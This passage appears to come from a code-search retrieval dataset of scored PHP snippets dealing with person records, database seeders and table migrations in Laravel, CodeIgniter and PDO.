($persons->total() / 15); $i++){\n // $persons = $this->HHPersonRepository->all();\n\n // $persons->each(function($person) {\n // $person_array = [\n // \"One\",\n // \"Admin\",\n // \"Kantoor\",\n // \"Marijke\",\n // \"One\",\n // \"One\",\n // ];\n\n // if(!in_array($person->first_name, $person_array)){\n // $this->HHPersonRepository->delete($person->id);\n // }\n // });\n // }\n }", "title": "" }, { "docid": "f3cf756032c9399950c43c3af757765c", "score": "0.4755093", "text": "function __construct($persons_name) {\n $this->name = $persons_name;\n }", "title": "" }, { "docid": "b28233f3a3d0d6352dbe074e3c1492f8", "score": "0.47379896", "text": "function hapus_person()\n\t{\n\t\t$id_person = $this->input->get('id');\n\t\t$daftar_aliasPerson = $this->data_kalangan_terbatas->daftar_aliasPerson($id_person);\n\t\tforeach ($daftar_aliasPerson as $alias)\n\t\t\t$this->M_input->hapus_data(array('id_alias' => $alias['id_alias_person']), 'berita_aliasperson');\n\t\t$this->data_kalangan_terbatas->hapus_person(array('id_person' => $id_person),'person');\n\t\t$this->data_kalangan_terbatas->hapus_alias(array('id_person' => $id_person),'alias_person');\n\t\tredirect('C_kalangan_terbatas/kalangan_terbatas');\n\t}", "title": "" }, { "docid": "976819b61e1f6049b814ade37ca7a6a2", "score": "0.4697899", "text": "public function run()\n {\n DB::table('persons') -> insert([\n 'ci' => '171884264-2',\n 'name' => 'Johao Perlaza',\n 'phone' => '0978970998',\n 'email' => '[email protected]',\n 'password' => '1234johao:v',\n ]);\n }", "title": "" }, { "docid": "eabc087e110731891d5f8728ca71b980", "score": "0.469207", "text": "private function migrate()\n {\n $this->db->query('CREATE TABLE IF NOT EXISTS scores (nick TEXT, scored_at TEXT)');\n }", "title": "" }, { "docid": "60409f425b08ab845a8067130e47b1fc", "score": "0.46900308", "text": "public function change()\n {\n\t $table = $this->table('persistent_logins', [ 'id' => false, 'primary_key' => 'series' ]);\n\t $table\n\t\t ->addColumn('email', 'string', [ 'limit' => 64, 'null' => false ])\n\t\t ->addColumn('series', 'string', [ 'limit' => 64, 'null' => false ])\n\t\t ->addColumn('token', 'string', [ 'limit' => 64, 'null' => false ])\n\t\t ->create();\n }", "title": "" }, { "docid": "d92e2dcf81efbd9d5e1c8ecef175a878", "score": "0.46872684", "text": "public function run()\n {\n Person::create([\n 'peo_id_number' => '1107525421',\n 'peo_first_name' => 'Erich',\n 'peo_second_name' => 'Hans',\n 'peo_last_name' => 'Merz',\n 'peo_second_surname' => 'Diaz',\n 'peo_email' => '[email protected]', \n 'peo_gender' => 'M', \n 'peo_phone_a' => '3148314106', \n 'peo_phone_b' => '', \n 'peo_blood_type' => 'O', \n 'peo_rh' => '+', \n 'peo_address' => 'Cra 3N #38-70', \n 'peo_date_of_birth' => \"1999-10-05\", \n 'peo_pos_id' => 12, \n 'peo_status' => 1\n ]);\n\n Person::create([\n 'peo_id_number' => '1234198395',\n 'peo_first_name' => 'Lizet',\n 'peo_second_name' => 'Dayana',\n 'peo_last_name' => 'Cetares',\n 'peo_second_surname' => 'Galvis',\n 'peo_email' => '[email protected]', \n 'peo_gender' => 'F', \n 'peo_phone_a' => '3235230669', \n 'peo_phone_b' => '', \n 'peo_blood_type' => 'A', \n 'peo_rh' => '+', \n 'peo_address' => 'No sé bro disculpa', \n 'peo_date_of_birth' => \"1999-12-20\", \n 'peo_pos_id' => 3, \n 'peo_status' => 1\n ]);\n\n Person::create([\n 'peo_id_number' => '1114898297',\n 'peo_first_name' => 'William',\n 'peo_second_name' => 'Steven',\n 'peo_last_name' => 'Puerta',\n 'peo_second_surname' => 'Taquinas',\n 'peo_email' => '[email protected]', \n 'peo_gender' => 'M', \n 'peo_phone_a' => '3177576490', \n 'peo_phone_b' => '', \n 'peo_blood_type' => 'A', \n 'peo_rh' => '+', \n 'peo_address' => 'Carrera 76a #1b-27', \n 'peo_date_of_birth' => \"1997-10-07\", \n 'peo_pos_id' => 2, \n 'peo_status' => 1\n ]);\n\n Person::create([\n 'peo_id_number' => '89765409',\n 'peo_first_name' => 'Robert',\n 'peo_second_name' => 'Danilo',\n 'peo_last_name' => 'Muñoz',\n 'peo_second_surname' => 'Guapacha',\n 'peo_email' => '[email protected]', \n 'peo_gender' => 'M', \n 'peo_phone_a' => '3159876578', \n 'peo_phone_b' => '', \n 'peo_blood_type' => 'O', \n 'peo_rh' => '+', \n 'peo_address' => 'Carrera 2a #12-56', \n 'peo_date_of_birth' => \"1971-11-17\", \n 'peo_pos_id' => 4, \n 'peo_status' => 1\n ]);\n }", "title": "" }, { "docid": "482af9ef08348b73f180ef3b04d74406", "score": "0.4683513", "text": "public function run()\n {\n\t\t\\App\\People::create([\n \t'name' => 'کاربر ',\n \t'lastname' => 'نامعتبر',\n \t'nationalId' => '0000000000',\n \t'birthdate' => '2000-01-01',\n \t'phone' => '09120000000',\n \t'mobile' => '09120000000',\n \t'address' => 'تهران',\n \t'gender_id' => '1',\n \t'melliat_id' => '1',\n \t'city_id' => '1',\n\t\t]);\n\n \\App\\People::create([\n \t'name' => 'طراح ',\n \t'lastname' => 'سیستم',\n \t'nationalId' => '4333333333',\n \t'birthdate' => '1988-01-01',\n \t'phone' => '02833346688',\n \t'mobile' => '09123862018',\n \t'address' => 'تهران',\n \t'gender_id' => '1',\n \t'melliat_id' => '1',\n \t'city_id' => '1',\n ]);\n\n \\App\\People::create([\n \t'name' => 'کارمند' ,\n \t'lastname' => 'آزمایشی',\n \t'nationalId' => '4233333322',\n \t'birthdate' => '1989-01-01',\n \t'phone' => '02838956633',\n \t'mobile' => '09191502363',\n \t'address' => 'قزوین',\n \t'gender_id' => '1',\n \t'melliat_id' => '1',\n \t'city_id' => '4',\n ]);\n\n \\App\\People::create([\n \t'name' => 'دانشجو',\n \t'lastname' => 'آزمایشی',\n \t'nationalId' => '6933333322',\n \t'birthdate' => '1995-10-04',\n \t'phone' => '02837569633',\n \t'mobile' => '09199502863',\n \t'address' => 'قزوین',\n \t'gender_id' => '1',\n \t'melliat_id' => '1',\n \t'city_id' => '4',\n ]);\n }", "title": "" }, { "docid": "ff8c4ae6d54e36f764b416f270f00c69", "score": "0.46810132", "text": "public function __construct($personnalites_infos)\r\n \t{\r\n \t $this->setId($personnalites_infos[\"id\"]);\r\n \t $this->setFname($personnalites_infos[\"fname\"]);\r\n \t $this->setLname($personnalites_infos[\"lname\"]);\r\n \t $this->setPhoto($personnalites_infos[\"photo_ind\"]);\r\n \t $this->setPoster($personnalites_infos[\"poster\"]);\r\n \t $this->setJobs($personnalites_infos[\"jobs\"]);\r\n \t $this->setSeries($personnalites_infos[\"series\"]);\r\n \t}", "title": "" }, { "docid": "951e7bf17f7a663c48fbc35eeb2819fd", "score": "0.46804714", "text": "public function run()\n {\n DB::table('residents')->insert([\n [\n 'resident_name' => '入江 ひろえ',\n 'age' => 95,\n 'gender' => 1,\n 'assistance' => '日常生活動作は自立です。',\n 'info' => '転倒の恐れあり。本氏が立ち上がった際は要付き添い。',\n 'unit_id' => 1,\n ],[\n 'resident_name' => '福田 静江',\n 'age' => 99,\n 'gender' => 1,\n 'assistance' => '日常生活動作は主に自立。',\n 'info' => '転倒の恐れあり。本氏が立ち上がった際は要付き添い。\n 食事は本人の気分次第なので、時折声かけをお願いします。',\n 'unit_id' => 2,\n ],[\n 'resident_name' => '矢野 健太郎',\n 'age' => 86,\n 'gender' => 2,\n 'assistance' => '日常生活動作は全介助です。',\n 'info' => '車椅子誘導にて移動されます。食事は全介助です。',\n 'unit_id' => 3,\n ],[\n 'resident_name' => '宮本 花江',\n 'age' => 86,\n 'gender' => 2,\n 'assistance' => '日常生活動作は全介助です。',\n 'info' => '車椅子誘導にて移動されます。食事は全介助です。',\n 'unit_id' => 4,\n ],[\n 'resident_name' => '中村 くみ',\n 'age' => 86,\n 'gender' => 2,\n 'assistance' => '日常生活動作は全介助です。',\n 'info' => '車椅子誘導にて移動されます。食事は全介助です。',\n 'unit_id' => 3,\n ],[\n 'resident_name' => '下津濱 彩子',\n 'age' => 86,\n 'gender' => 2,\n 'assistance' => '日常生活動作は全介助です。',\n 'info' => '車椅子誘導にて移動されます。食事は全介助です。',\n 'unit_id' => 5,\n ],[\n 'resident_name' => '田口 あや子',\n 'age' => 86,\n 'gender' => 2,\n 'assistance' => '日常生活動作は全介助です。',\n 'info' => '車椅子誘導にて移動されます。食事は全介助です。',\n 'unit_id' => 6,\n ],[\n 'resident_name' => '橋本 なな',\n 'age' => 86,\n 'gender' => 2,\n 'assistance' => '日常生活動作は全介助です。',\n 'info' => '車椅子誘導にて移動されます。食事は全介助です。',\n 'unit_id' => 7,\n ],[\n 'resident_name' => '石川 たか子',\n 'age' => 86,\n 'gender' => 2,\n 'assistance' => '日常生活動作は全介助です。',\n 'info' => '車椅子誘導にて移動されます。食事は全介助です。',\n 'unit_id' => 8,\n ],\n \n ]);\n }", "title": "" }, { "docid": "77fcdda827072801343a841268c759a7", "score": "0.4676931", "text": "function zensus_export_persons($persons, $o_mode = 'direct')\n{\n global $xml_names_person, $xml_groupnames_person;\n $db = new DB_Seminar;\n if (is_array($persons)){\n $db->query(\"SELECT * FROM auth_user_md5\n LEFT JOIN user_info info USING(user_id)\n WHERE auth_user_md5.user_id IN('\".join(\"','\", $persons).\"')\");\n\n while ($db->next_record()) {\n $data_object = zensus_xmlopen_tag($xml_groupnames_person[\"object\"], $db->f(\"username\"));\n $data_object .= zensus_xmltag('id', $db->f('user_id'));\n while ( list($key, $val) = each($xml_names_person)){\n if ($val == \"\") $val = $key;\n if ($db->f($key) != \"\") $data_object .= zensus_xmltag($val, $db->f($key));\n }\n // freie Datenfelder ausgeben\n $data_object .= zensus_export_datafields($db->f(\"user_id\"), $xml_groupnames_person[\"childgroup1\"], $xml_groupnames_person[\"childobject1\"],'user');\n $data_object .= zensus_xmlclose_tag( $xml_groupnames_person[\"object\"] );\n reset($xml_names_person);\n zensus_output_data($data_object, $o_mode);\n $data_object = \"\";\n }\n }\n $data_object = \"\";\n}", "title": "" }, { "docid": "c3718c47a42f85955f4e78f09f9bf917", "score": "0.467368", "text": "private function insertNewLookupData() {\n\t$this->deleteCompetitionsWithMissingLeague();\n $this->insertCompetitionLookup();\n\n //Insert new teams. Clubs are added manually by the person importing the data\n $this->insertNewTeams();\n $this->insertNewGrounds();\t\n }", "title": "" }, { "docid": "95c5cebae33c63f17d4ff330149f58b6", "score": "0.46545014", "text": "public function insertPersona(Request $request)\n {\n /*\n $person = Person::create([\n 'nombre'=> $data['nombre'], \n 'estado'=> $data['estado'],\n ]);\n\n $person->gender()->create([\n 'nombre'=> $data['nombre'], \n 'estado'=> $data['estado'],\n ]);*/\n //return response()->json($person,201);\n\n $gender = Gender::where('id','1')->first();\n $response = $gender -> people()->create([\n 'nombre'=> 'fanny',\n 'estado'=> 'inactivo'\n ]\n );\n return response()->json($response,200);\n }", "title": "" }, { "docid": "6b97f0db2717d885fd64b5b3b7a8215d", "score": "0.463604", "text": "protected function _prepareNewTable(){\n $table = $this->_getWriteAdapter()->createTableByDdl($this->getMainTable(), $this->getNewTable());\n\n //foreign keys should be unique so we need to change the names of the table\n $rpForeignKeys = new ReflectionProperty($table, '_foreignKeys');\n $rpForeignKeys->setAccessible(true);\n $fkTmp = array();\n foreach ($table->getForeignKeys() as $foreignKeyData) {\n $uuid = $this->getIndexerHelper()->getUUID();\n $foreignKeyData['FK_NAME'] = $uuid;\n $fkTmp[$uuid] = $foreignKeyData;\n }\n $rpForeignKeys->setValue($table, $fkTmp);\n $this->_getWriteAdapter()->createTable($table);\n }", "title": "" }, { "docid": "9af87ef4c7fd890f0f322b079a342c12", "score": "0.46288514", "text": "public function addPersonnage(PersonnageTable $perso) {\n $req = $this->_bdd->prepare('INSERT INTO PersonnagesTable\n SET nom = :nom,\n forcePerso = :forcePerso,\n degats = :degats,\n niveau = :niveau,\n experience = :experience\n ');\n \n $req->bindValue(':nom', $perso->getNom(), PDO::PARAM_STR);\n $req->bindValue(':forcePerso', $perso->getForcePerso(), PDO::PARAM_INT);\n $req->bindValue(':degats', $perso->getDegats(), PDO::PARAM_INT);\n $req->bindValue(':niveau', $perso->getNiveau(), PDO::PARAM_INT);\n $req->bindValue(':experience', $perso->getExperience(), PDO::PARAM_INT);\n \n $req->execute();\n \n $req->closeCursor();\n }", "title": "" }, { "docid": "5d5603afa9da43d2de33809b46957e0c", "score": "0.4615689", "text": "function save_to_database (): void {\n $db = $this->getDatabase();\n\n $perso_id = $db->escape($this->perso->id);\n $text = $db->escape($this->text);\n $updated = $db->escape($this->updated);\n $fixedwidth = $this->fixedwidth ? 1 : 0;\n\n $sql = \"REPLACE INTO \" . TABLE_PROFILES . \" (`perso_id`, `profile_text`, `profile_updated`, `profile_fixedwidth`) VALUES ('$perso_id', '$text', '$updated', '$fixedwidth')\";\n if (!$db->query($sql)) {\n message_die(SQL_ERROR, \"Unable to save\", '', __LINE__, __FILE__, $sql);\n }\n }", "title": "" }, { "docid": "4111f1382b223e9595e059ab8a35eb7f", "score": "0.46149293", "text": "private function genderTable(): void\n {\n $tableCols = array(\n \"gender_id\" => \"INT NOT NULL PRIMARY KEY AUTO_INCREMENT\",\n \"gender_name\" => \"VARCHAR(10)\"\n );\n $this->createTable(table_name: 'gender', table_params: $tableCols);\n\n\n $sql = \"INSERT INTO gender (gender_name) SELECT * FROM (SELECT (?)) AS tmp WHERE NOT EXISTS (SELECT gender_name FROM gender WHERE gender_name = (?)) LIMIT 1\";\n $this->db->query(sql: $sql);\n $values = array(\n 'male' => array(\"Male\", \"Male\"),\n 'female' => array(\"Female\", \"Female\"),\n 'other' => array(\"Other\", \"Other\"),\n );\n foreach ($values as $value) {\n $this->db->insert($value);\n }\n }", "title": "" }, { "docid": "7ed2a746561cc657438631c75e8c06c0", "score": "0.46140796", "text": "private function createPersonalDataInTempColumn( OutputInterface $output)\n {\n\n $numberOfColumns = count($this->getPersonalDataFields());\n $output->writeln(\"Creating personal data objects in $numberOfColumns columns\");\n\n // Get the query builder to load existing entity data.\n $queryBuilder = $this->connection->createQueryBuilder();\n\n $progressBar = new ProgressBar($output, $numberOfColumns);\n $progressBar->start();\n\n // Loop through all of the personal data fields in all entities.\n foreach ($this->getPersonalDataFields() as $entityClass => $field) {\n\n // Get the name of the entity table in the database.\n $tableName = $this->em->getClassMetadata($entityClass)->getTableName();\n\n // Loop through each personal_data field in the entity.\n foreach ($field as $propertyArray) {\n\n // Get all data for the current entity and field.\n $queryBuilder\n ->select('t.'. $propertyArray['identifier'] .', t.'.$propertyArray['columnName'].' AS originalData')\n ->from($propertyArray['tableName'], 't');\n\n $results = $queryBuilder->execute();\n\n // For each selected entity field create a personal data object and save it to the temporary field.\n foreach ($results as $result) {\n\n // Get the original data from the query.\n $personalData = $result['originalData'];\n\n // Check if the string from the database contains the full PersonalData class name.\n // If so then convert to an object and get the raw data.\n if (stripos($personalData, PersonalData::class)) {\n $personalDataObject = unserialize($personalData);\n $personalData = $personalDataObject->getData();\n }\n\n // If the personal data should be encrypted then do so. Otherwise decrypt any existing value.\n if (!$this->encryptionDisabled && $propertyArray['annotation']->options['isEncrypted'] === true) {\n // If encrypt bundle is not disabled, and the annotation is supposed to encrypt\n\n // If the value does not alreadty have the suffix <ENC> then encrypt it.\n if(substr($personalData, -5) !== DoctrineEncryptSubscriberInterface::ENCRYPTED_SUFFIX) {\n $encrypted = $this->encryptor->encrypt($personalData);\n $personalData = $encrypted.DoctrineEncryptSubscriberInterface::ENCRYPTED_SUFFIX;\n }\n } else {\n $personalData = $this->encryptor->decrypt($personalData);\n }\n\n // Build a new PersonalData Object based on the current entity annotation fields.\n $newPersonalDataObject = $this->createPersonalData($personalData);\n\n // Update the database with the temporary data, set the original data to null.\n $this->connection->update(\n $tableName,\n array(\n $propertyArray['columnName'] => null,\n $propertyArray['tempColName'] => serialize($newPersonalDataObject)\n ),\n array($propertyArray['identifier'] => $result[$propertyArray['identifier']])\n );\n }\n }\n $progressBar->advance();\n }\n\n $progressBar->finish();\n $output->writeln(\".\");\n }", "title": "" }, { "docid": "819daf6cfcebebfd3be31a05909247da", "score": "0.45904297", "text": "public function populate() {\n\n Data::chunk(200, function($userData) {\n $inserts = [];\n foreach($userData as $data) {\n $ret = $this->translate_data($data);\n if($ret) $inserts[] = $ret; // get only active users\n }\n\n $this->insert($inserts);\n });\n\n }", "title": "" }, { "docid": "a0d349e262403768283d363c00700e6a", "score": "0.45882514", "text": "public function setPersonanatural($primer_nombre, $segundo_nombre = null, $fecha_nacimiento = null, $libreta_militar = null, $edad = null, $rh = null, $primer_apellido, $segundo_apellido = null, $distrito_militar = null, $numero_pasaporte = null, $otra_nacionalidad = null, $clase_libreta = null, $fax = null, $ocupacion = null, $profesion = null, $nivel_estudio = null, $ciudad_id = null, $estado_id = null, $pais_id = null, $persona_id, $sexo_id = null)\n {\n $pn = new Personanatural;\n $pn->primer_nombre = strtoupper($primer_nombre);\n $pn->segundo_nombre = strtoupper($segundo_nombre);\n $pn->fecha_nacimiento = $fecha_nacimiento;\n $pn->libreta_militar = $libreta_militar;\n $pn->edad = $edad;\n $pn->rh = $rh;\n $pn->primer_apellido = strtoupper($primer_apellido);\n $pn->segundo_apellido = strtoupper($segundo_apellido);\n $pn->distrito_militar = strtoupper($distrito_militar);\n $pn->numero_pasaporte = $numero_pasaporte;\n $pn->otra_nacionalidad = strtoupper($otra_nacionalidad);\n $pn->clase_libreta = strtoupper($clase_libreta);\n $pn->fax = $fax;\n $pn->ocupacion = strtoupper($ocupacion);\n $pn->profesion = strtoupper($profesion);\n $pn->nivel_estudio = strtoupper($nivel_estudio);\n $pn->sexo_id = $sexo_id;\n $pn->pais_id = $pais_id;\n $pn->estado_id = $estado_id;\n $pn->ciudad_id = $ciudad_id;\n $pn->persona_id = $persona_id;\n $u = Auth::user();\n $pn->user_change = $u->identificacion;\n return $pn;\n }", "title": "" }, { "docid": "4932b67b7b394962eba83dd266cea29a", "score": "0.45849338", "text": "function create_table()\n{\n global $dbh;\n $sql = '\n CREATE TABLE IF NOT EXISTS `company_import` (\n `id` INT NOT NULL AUTO_INCREMENT ,\n `title` VARCHAR(255) NULL ,\n `title_en` VARCHAR(255) NULL ,\n `classification_id` INT NULL ,\n `city_id` INT NULL ,\n `phone` VARCHAR(80) NULL ,\n `email` VARCHAR(255) NULL ,\n `full_address` VARCHAR(255) NULL ,\n `location_type` INT NULL ,\n `street_type` INT NULL ,\n `street_name` VARCHAR(255) NULL ,\n `street_number` VARCHAR(45) NULL ,\n `building_number` VARCHAR(45) NULL ,\n `floor` VARCHAR(45) NULL ,\n `appartment` VARCHAR(45) NULL ,\n `neighborhood` VARCHAR(255) NULL ,\n `postal_code` VARCHAR(45) NULL ,\n `website_url` TEXT NULL ,\n `googleplus_url` TEXT NULL ,\n `foursquare_url` TEXT NULL ,\n `twitter_url` TEXT NULL ,\n `facebook_url` TEXT NULL ,\n `company_type` INT NULL ,\n `culture` VARCHAR(10) NULL ,\n `country` VARCHAR(45) NULL ,\n `lat` DOUBLE(18,10) NULL ,\n `lng` DOUBLE(18, 10) NULL ,\n `sublocation` VARCHAR(255) NULL ,\n PRIMARY KEY (`id`) );\n ';\n $dbh->exec($sql);\n}", "title": "" }, { "docid": "70c541593e4b34a98c6ae749d771b9fe", "score": "0.45700365", "text": "private function seedData()\n {\n $topics = ['Topic1', 'Topic2'];\n\n $records = collect($topics)->map(function ($topic) {\n return [\n 'title' => $topic,\n 'slug' => Str::slug($topic),\n 'created_at' => now(),\n 'updated_at' => now(),\n ];\n });\n\n DB::table('topics')->insert($records->toArray());\n }", "title": "" }, { "docid": "a120915fc82891e49a1848a9f4a7c66f", "score": "0.45646352", "text": "public function postMergeFinal(Request $request) {\n\t\t$validator = \\Validator::make($request->all(), [\n\t\t\t'name' => 'required',\n\t\t\t'kth_username' => 'required|email|regex:/[^@]*@kth\\.se/',\n\t\t\t'kth_user_id' => '',\n\t\t\t'year' => ''\n\t\t]);\n\n\t\tif ($validator->fails()) {\n return redirect()->back()\n \t->with('u', explode(\",\", $request->input('persons')))\n ->withErrors($validator)\n ->withInput();\n }\n\t\t\n\t\t// Create new person\n\t\t$person = new User;\n\t\t$person->name = $request->input('name');\n\t\t$person->kth_username = explode(\"@\", $request->input('kth_username'))[0];\n\t\t$person->kth_user_id = $request->input('kth_user_id');\n\t\t$person->year = $request->input('year');\n\t\t$person->save();\n\t\t\n\t\t// Point all the persons to the new person and delete old persons\n\t\t$user_ids = explode(\",\", $request->input('persons'));\n\t\techo $request->input('persons') . \"<br>\";\n\t\tforeach ($user_ids as $uid) {\n\t\t\techo $uid . \"<br>\";\n\t\t\t\\DB::table('position_user')\n\t ->where('user_id', $uid)\n\t ->update(['user_id' => $person->id]);\n\t\t\tUser::destroy($uid);\n\t\t}\n\n\t\treturn redirect('/admin/persons')->with('success', 'Personerna slogs ihop.');\n\t}", "title": "" }, { "docid": "43016d2ed4d8dcbd15da30e399f9b4a0", "score": "0.45644975", "text": "function authProcessor(array &$author_rows) {\n for ($i = 0; $i < count($author_rows); $i++) {\n $current = explode(\"|\", $author_rows[$i]); //explode entry into array\n $obj = new stdClass(); //initialize object\n $obj -> fName=$current[0]; //put first name to object\n $obj -> lName=$current[1]; //put last name to object\n $obj -> img=$current[2]; //put image link to object\n $author_rows[$i] = $obj; //replace string with object\n }\n}", "title": "" }, { "docid": "ad61f157dd5f0845e45ae79f8b3ac62f", "score": "0.4554487", "text": "public function run(){\n\t\tDB::table('locations')->insert([\n\t\t\t[\n\t\t\t\t'name' => 'Emmen'\n\t\t\t],\n\t\t\t[\n\t\t\t\t'name' => 'Meppel'\n\t\t\t],\n\t\t\t[\n\t\t\t\t'name' => 'Assen'\n\t\t\t],\n\t\t\t[\n\t\t\t\t'name' => 'Leeuwarden'\n\t\t\t]\n\t\t]);\n\n\t\tDB::table('education_location')->insert([\n\t\t\t[\n\t\t\t\t'education_id' => 1,\n\t\t\t\t'location_id' => 1\n\t\t\t]\n\t\t]);\n\t}", "title": "" }, { "docid": "f731434cfaeae59e6b37b3c5d092e852", "score": "0.45435214", "text": "public function upgradePlns() : void {\n $callback = function ($row) {\n $entity = new Pln();\n $entity->setName($row['name']);\n $entity->setDescription($row['description']);\n $entity->setProperties(unserialize($row['property']));\n $entity->setUsername($row['username']);\n $entity->setPassword($row['password']);\n\n $query = $this->source->executeQuery(\n 'SELECT * FROM keystore WHERE id = :id',\n ['id' => $row['keystore_id']]\n );\n $keystoreRow = $query->fetch();\n $entity->setKeystore($keystoreRow['path']);\n\n return $entity;\n };\n $this->upgradeTable('plns', $callback);\n }", "title": "" }, { "docid": "3fb375125b3524996176761e07275593", "score": "0.45368746", "text": "public function makeTableAccounts(){\r\n $this->table = \"\";\r\n $str = \"\";\r\n $this->drop_table($this->table);\r\n $this->create_table($this->table, $str);\r\n // ~/~/~/\r\n //$this->makeUser('Owner', 'password', 1);\r\n //$this->makeUser('Admin', 'password', 2);\r\n //$this->makeUser('Test', 'password');\r\n }", "title": "" }, { "docid": "fe6a0341cf08ec44d2440847f8b674fd", "score": "0.45356968", "text": "abstract public function migrate();", "title": "" }, { "docid": "118c0c653227cf23073be08b86797401", "score": "0.45314738", "text": "public function updateMentees()\n {\n header('Content-Type: text/html; charset=UTF-8');\n // import csv\n $csvFile = new parseCSV($this->filePath);\n // iterate between all rows of the csv file and add each value to the appropriate table\n for($i = 0; $i < count($csvFile->data); $i++) {\n $colValues = $this->translateCSVColumnsToExpectedDBNames($csvFile->data[$i]);\n $specialtyId = null;\n $mentee = null;\n for ($j = 0; $j < count($colValues); $j++) {\n // remove '\\n' and trim column value\n $colContent = trim($colValues[$this->fileImportFields[$j]]);\n switch ($this->fileImportFields[$j]) {\n case 'email':\n // keep temporarily the age as year_of_birth (will be transformed later)\n $mentee = MenteeProfile::where('email', $colContent)->first();\n break;\n case 'specialty':\n if (!empty($colContent)) {\n // get all comma separated specialties, rename to 'Marketing' if needed and push\n // the value's DB id to specialty_id column\n $specialty_pairings = explode(\",\", $colContent);\n foreach ($specialty_pairings as $specialty_pairing) {\n if ($specialty_pairing === 'Marketing / Πωλήσεις') {\n $specialty_pairing = 'Marketing';\n }\n $specialty = Specialty::where('name', trim($specialty_pairing))->first();\n if (!empty($specialty))\n $specialtyId = $specialty->id;\n }\n }\n break;\n }\n if ($mentee !== null and $specialtyId !== null) {\n $mentee->specialty_id = $specialtyId;\n $mentee->save();\n }\n }\n }\n }", "title": "" }, { "docid": "b25bb90f844cc1a27fed20f000cb496b", "score": "0.45256296", "text": "public function createUserTable() {\n $query = \"CREATE TABLE IF NOT EXISTS users (\n email VARCHAR(255) PRIMARY KEY,\n name VARCHAR(255),\n surname VARCHAR(255)\n )\";\n $result = pg_query($query) or die('Could not create new user table: ' . pg_last_error());\n }", "title": "" }, { "docid": "f1c9f97407fcbd03e635556e89ea25e4", "score": "0.45210367", "text": "public function change()\n {\n $table = $this->table('objects', ['id' => false, 'primary_key' => ['id']]);\n $table->addColumn('id', 'uuid', ['null' => false]);\n $table->addColumn('attributes', 'json', ['null' => true]);\n $table->addColumn('at2', 'json', ['null' => true]);\n $table->create();\n\n $table = $this->table('agents', ['id' => false, 'primary_key' => ['id']]);\n $table->addColumn('id', 'uuid', ['null' => false]);\n $table->addColumn('attributes', 'json', ['null' => true]);\n $table->create();\n\n $table = $this->table('clients', ['id' => false, 'primary_key' => ['id']]);\n $table->addColumn('id', 'uuid', ['null' => false]);\n $table->addColumn('attributes', 'json', ['null' => true]);\n $table->create();\n\n $table = $this->table('contacts', ['id' => false, 'primary_key' => ['id']]);\n $table->addColumn('id', 'uuid', ['null' => false]);\n $table->addColumn('attributes', 'json', ['null' => true]);\n $table->create();\n\n $table = $this->table('agents_clients', ['id' => false, 'primary_key' => ['id']]);\n $table->addColumn('id', 'uuid', ['null' => false]);\n $table->addColumn('attributes', 'json', ['null' => true]);\n $table->create();\n\n $table = $this->table('drivers', ['id' => false, 'primary_key' => ['id']]);\n $table->addColumn('id', 'uuid', ['null' => false]);\n $table->addColumn('name', 'string', ['null' => false]);\n $table->create();\n\n $table = $this->table('vehicles', ['id' => false, 'primary_key' => ['id']]);\n $table->addColumn('id', 'uuid', ['null' => false]);\n $table->addColumn('geocode_id', 'uuid', ['null' => false]);\n $table->create();\n\n $table = $this->table('drivers_vehicles', ['id' => false, 'primary_key' => ['id']]);\n $table->addColumn('id', 'uuid', ['null' => false]);\n $table->addColumn('driver_id', 'uuid', ['null' => false]);\n $table->addColumn('vehicle_id', 'uuid', ['null' => false]);\n $table->addColumn('beginning', 'timestamp', ['default' => 'CURRENT_TIMESTAMP']);\n $table->addColumn('ending', 'timestamp', ['default' => 'CURRENT_TIMESTAMP']);\n $table->create();\n\n $table = $this->table('locations', ['id' => false]);\n $table->addColumn('data', 'json', ['null' => false]);\n $table->create();\n }", "title": "" }, { "docid": "7be0f93284b4182e63d0fe8e6e37dab8", "score": "0.45194218", "text": "function schema_generate_person($name){\n return array(\n '@type' => 'Person',\n 'name' => $name\n );\n }", "title": "" }, { "docid": "aef3329c3e616ea249263b0d639b8e27", "score": "0.45115665", "text": "private function _createTables()\n {\n $pdoEx = $this->_pdoEx;\n\n echo ' * Creating table `person`...';\n $pdoEx->exec\n (\n 'CREATE TABLE person (\n id int(10) unsigned NOT NULL AUTO_INCREMENT,\n name varchar(32) NOT NULL,\n PRIMARY KEY (id),\n UNIQUE KEY (name)\n ) ENGINE=InnoDB DEFAULT CHARSET=utf8'\n );\n echo \"done.\\n\";\n\n echo ' * Creating table `country`...';\n $pdoEx->exec\n (\n 'CREATE TABLE country (\n id int(10) unsigned NOT NULL AUTO_INCREMENT,\n name varchar(64) NOT NULL,\n PRIMARY KEY (id),\n UNIQUE KEY (name)\n ) ENGINE=InnoDB DEFAULT CHARSET=utf8'\n );\n echo \"done.\\n\";\n\n echo ' * Creating table `link_person_country`...';\n $pdoEx->exec\n (\n 'CREATE TABLE link_person_country (\n id int(10) unsigned NOT NULL AUTO_INCREMENT,\n idPerson int(10) unsigned NOT NULL,\n idCountry int(10) unsigned NOT NULL,\n PRIMARY KEY (id),\n INDEX (idPerson),\n INDEX (idCountry),\n UNIQUE KEY idPerson_idCountry (idPerson, idCountry)\n ) ENGINE=InnoDB DEFAULT CHARSET=utf8'\n );\n echo \"done.\\n\";\n\n echo ' * Adding foreign key constraints...';\n $pdoEx->exec\n (\n 'ALTER TABLE link_person_country\n ADD CONSTRAINT FOREIGN KEY (idPerson) REFERENCES person (id),\n ADD CONSTRAINT FOREIGN KEY (idCountry) REFERENCES country (id)'\n );\n echo \"done.\\n\";\n }", "title": "" }, { "docid": "0849e475de4e9c69486a8d2f06c3a8e7", "score": "0.4504062", "text": "public function change()\n {\n $users = $this->table('member');\n $users->addColumn('email', 'string', array('limit' => 64))\n ->addColumn('nickname', 'string', array('limit' => 24))\n ->addColumn('password', 'string', array('limit' => 32))\n ->addIndex('email', array('unique' => true))\n ->create();\n }", "title": "" }, { "docid": "2649f5398e38519b1720fec6e5312a69", "score": "0.4502998", "text": "public function executeSepare()\n {\n $langs = sfConfig::get('app_lang_array', array('es'));\n $honor = array('D.', 'Dña.', 'Dª.', 'Dª', 'Dna.', 'Dr.', 'Dra.', 'Sr.', 'Sra.', 'Excma.', 'Excmo.', 'Excma', 'Excmo', 'Ilma.', 'Ilmo.', 'Ilma', 'Ilma');\n\n if($this->hasRequestParameter('ids')){\n $persons = PersonPeer::retrieveByPKs(json_decode($this->getRequestParameter('ids')));\n }elseif($this->getRequestParameter('all')){\n $persons = PersonPeer::doSelect(new Criteria);\n }\n \n foreach($persons as $person){\n foreach($honor as $h){\n \t$num = 0;\n \t$person->setName(trim(str_replace($h, '', $person->getName(), $num)));\n \tif ($num == 1){\n\t foreach($langs as 